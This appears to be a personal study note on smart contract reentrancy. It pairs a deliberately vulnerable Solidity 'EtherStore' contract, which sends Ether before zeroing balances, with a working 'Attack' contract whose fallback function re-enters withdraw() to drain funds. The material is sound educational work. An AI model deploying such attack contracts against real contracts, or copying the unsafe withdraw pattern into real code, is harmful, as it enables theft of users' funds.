# Smart Contract Security Studies - Reentrancy Attack Summary This vulnerability occurs when a contract interacts with an external contract before modifying it's own local state variables. Which can sometimes be taken advantage of by placing a malicious fallback() function in the receiving contract. ![](https://i.imgur.com/pqJ3Bcf.png) ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.10; // VICTIM CONTRACT contract EtherStore { mapping(address => uint) public balances; function deposit() public payable { balances[msg.sender] += msg.value; // set the balance of the sender to whatever the sender sent } function withdraw() public { // (step 3 & 5 of diagram) uint bal = balances[msg.sender]; require(bal > 0); // make sure balance is above 0 (bool sent, ) = msg.sender.call{value: bal}(""); // Send eth to the person calling withdraw require(sent, "Failed to send Ether"); balances[msg.sender] = 0; // finally set balance of sender to 0 } // Helper function to check the balance of this contract function getBalance() public view returns (uint) { return address(this).balance; // return the balance of the contract } } ``` ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.10; // ATTACKING CONTRACT contract Attack { EtherStore public etherStore; constructor(address _etherStoreAddress) { etherStore = EtherStore(_etherStoreAddress); } // fallback() is called when eth is sent to this contract, as no other function identifier or data has been specified on behalf of the victim contract fallback() external payable { // fallback function calls the withdraw function again - note that this is called before the victim contract reaches the `balances[msg.sender] = 0;` code, meaning the victim contract won't properly update the attackers balance, and the attacker will be able to steal more eth than what's expected (step 4 of the diagram) if (address(etherStore).balance >= 1 ether) { etherStore.withdraw(); // re-call the vulnerable function } } function attack() external payable { require(msg.value >= 1 ether); etherStore.deposit{value: 1 ether}(); // initiate the attack by depositing 1 eth (see step one of diagram) etherStore.withdraw(); // immediately withdraw 1 eth from the victim contract, triggering the reentrance attack. (step 2 of diagram) } // Helper function to check the balance of this contract function getBalance() public view returns (uint) { return address(this).balance; } } ``` ### Resources: - https://www.youtube.com/watch?v=4Mm3BCyHtDY - https://consensys.github.io/smart-contract-best-practices/attacks/reentrancy/